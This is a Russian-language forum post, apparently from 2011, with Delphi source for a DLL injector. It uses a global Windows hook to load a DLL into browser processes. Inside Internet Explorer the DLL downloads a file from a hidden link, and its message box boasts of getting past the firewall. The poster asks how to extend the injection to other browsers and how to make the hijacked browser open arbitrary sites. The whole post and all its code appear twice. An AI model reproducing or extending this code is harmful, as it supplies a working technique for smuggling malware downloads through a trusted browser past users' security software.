*Хalyava*
14.12.2011, 17:38
есть код с помощью которого происходит инжект в браузер (код не мой).
инжектится в IE (IExproler).
есть несколько вопросов:
1. как осуществить инжект в другой браузер (нужна проверка на открытые браузеры. если открыт какой либо из них то инжектится туда)??
пробовал в DLL изменить имя процесса ( менял iexproler.exe на opera.exe) в оперу не инжектится.
2. при инжекте в IE (Iexproler) открывается много окон браузера (не путайте с вкладками).
как это убрать ??
3. как открыть сайт в браузере в которой происходил инжект (через инжект).
вот приведен пример.
URLDownloadToFile(nil, 'путь в интернете к программе', 'd:\название', 0, nil);
эта функция скачивает с сайта программу (код из DLL)
мне нужно перейти на сайт а не скачивать программу. (именно через DLL/ библиотка UrlMon)
возможно такое??
-------------------------------------------
код DLL:
library hook_dll;
uses Windows, UrlMon;
var
_hook: HHOOK = 0;
thID: THandle;
function HookProc(nCode, wParam, lParam: integer): integer stdcall;
begin
Result:=CallNextHookEx(_hook, nCode, wParam, lParam);
end;
procedure SetHK(hk: HHOOK) stdcall;
begin
_hook:=hk;
end;
procedure WorkWithNet(thrVar: integer) stdcall;
begin
URLDownloadToFile(nil, '[Ссылки могут видеть только зарегистрированные и активированные пользователи]', 'd:\Gen_Sid.rar', 0, nil);
MessageBox(0, 'Успешно внедрились Internet Explorer и попробовали '+
'скачать файл в обход файрвола =)) Файл должен лежать в d:\',
'Hook DLL', MB_OK);
end;
procedure GetUrl; stdcall;
begin
URLOpenStream(nil, '[Ссылки могут видеть только зарегистрированные и активированные пользователи]',0, nil)
end; // пытался перейти на сайт- 0 эффекта
exports
HookProc name 'HookProc',
SetHK name 'SetHK',
GetUrl name 'GetURL';
begin
if GetModuleHandle(nil)=GetModuleHandle('iexplorer.ex e') then
begin
CreateThread(nil, 0, @WorkWithNet, pointer(12345), 0, thID);
end;
end.
---------------------------
код проекта:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
Procedure GetURL; stdcall; external 'hook_dll.dll';
{$R *.dfm}
const DLL_INJ = 'DLL Injector (HOOKS)';
type TShp = procedure (hk: HHOOK) stdcall;
procedure InjectDLLviaHOOKS(dll_name: string);
var
h: THandle;
p: pointer;
sh: TShp;
hk: HHOOK;
begin
h:=LoadLibrary(PAnsiChar(dll_name));
if h=0 then
begin
MessageBox(0, PAnsiChar('Не могу загрузить DLL '+dll_name+'!'), DLL_INJ, MB_OK+MB_ICONERROR);
exit;
end;
p:=GetProcAddress(h, 'HookProc');
@sh:=GetProcAddress(h, 'SetHK');
if ((p=nil) or (@sh=nil)) then
begin
MessageBox(0, PAnsiChar('Библиотека '+
dll_name+' не содержит необходимых процедур!'),
DLL_INJ, MB_OK+MB_ICONERROR);
FreeLibrary(h);
exit;
end;
hk:=SetWindowsHookEx(WH_CALLWNDPROC, p, h, 0);
if hk=0 then
begin
MessageBox(0, PAnsiChar('Невозможно установить ловушку!'),
DLL_INJ, MB_OK+MB_ICONERROR);
FreeLibrary(h);
exit;
end;
sh(hk);
MessageBox(0, 'Ловушка установлена! Нажмите OK для снятия.',
DLL_INJ, MB_OK);
UnhookWindowsHookEx(hk);
FreeLibrary(h);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
InjectDLLviaHOOKS('hook_dll.dll');
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
GetURL;
end;
end.
инжектится в IE (IExproler).
есть несколько вопросов:
1. как осуществить инжект в другой браузер (нужна проверка на открытые браузеры. если открыт какой либо из них то инжектится туда)??
пробовал в DLL изменить имя процесса ( менял iexproler.exe на opera.exe) в оперу не инжектится.
2. при инжекте в IE (Iexproler) открывается много окон браузера (не путайте с вкладками).
как это убрать ??
3. как открыть сайт в браузере в которой происходил инжект (через инжект).
вот приведен пример.
URLDownloadToFile(nil, 'путь в интернете к программе', 'd:\название', 0, nil);
эта функция скачивает с сайта программу (код из DLL)
мне нужно перейти на сайт а не скачивать программу. (именно через DLL/ библиотка UrlMon)
возможно такое??
-------------------------------------------
код DLL:
library hook_dll;
uses Windows, UrlMon;
var
_hook: HHOOK = 0;
thID: THandle;
function HookProc(nCode, wParam, lParam: integer): integer stdcall;
begin
Result:=CallNextHookEx(_hook, nCode, wParam, lParam);
end;
procedure SetHK(hk: HHOOK) stdcall;
begin
_hook:=hk;
end;
procedure WorkWithNet(thrVar: integer) stdcall;
begin
URLDownloadToFile(nil, '[Ссылки могут видеть только зарегистрированные и активированные пользователи]', 'd:\Gen_Sid.rar', 0, nil);
MessageBox(0, 'Успешно внедрились Internet Explorer и попробовали '+
'скачать файл в обход файрвола =)) Файл должен лежать в d:\',
'Hook DLL', MB_OK);
end;
procedure GetUrl; stdcall;
begin
URLOpenStream(nil, '[Ссылки могут видеть только зарегистрированные и активированные пользователи]',0, nil)
end; // пытался перейти на сайт- 0 эффекта
exports
HookProc name 'HookProc',
SetHK name 'SetHK',
GetUrl name 'GetURL';
begin
if GetModuleHandle(nil)=GetModuleHandle('iexplorer.ex e') then
begin
CreateThread(nil, 0, @WorkWithNet, pointer(12345), 0, thID);
end;
end.
---------------------------
код проекта:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
Procedure GetURL; stdcall; external 'hook_dll.dll';
{$R *.dfm}
const DLL_INJ = 'DLL Injector (HOOKS)';
type TShp = procedure (hk: HHOOK) stdcall;
procedure InjectDLLviaHOOKS(dll_name: string);
var
h: THandle;
p: pointer;
sh: TShp;
hk: HHOOK;
begin
h:=LoadLibrary(PAnsiChar(dll_name));
if h=0 then
begin
MessageBox(0, PAnsiChar('Не могу загрузить DLL '+dll_name+'!'), DLL_INJ, MB_OK+MB_ICONERROR);
exit;
end;
p:=GetProcAddress(h, 'HookProc');
@sh:=GetProcAddress(h, 'SetHK');
if ((p=nil) or (@sh=nil)) then
begin
MessageBox(0, PAnsiChar('Библиотека '+
dll_name+' не содержит необходимых процедур!'),
DLL_INJ, MB_OK+MB_ICONERROR);
FreeLibrary(h);
exit;
end;
hk:=SetWindowsHookEx(WH_CALLWNDPROC, p, h, 0);
if hk=0 then
begin
MessageBox(0, PAnsiChar('Невозможно установить ловушку!'),
DLL_INJ, MB_OK+MB_ICONERROR);
FreeLibrary(h);
exit;
end;
sh(hk);
MessageBox(0, 'Ловушка установлена! Нажмите OK для снятия.',
DLL_INJ, MB_OK);
UnhookWindowsHookEx(hk);
FreeLibrary(h);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
InjectDLLviaHOOKS('hook_dll.dll');
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
GetURL;
end;
end.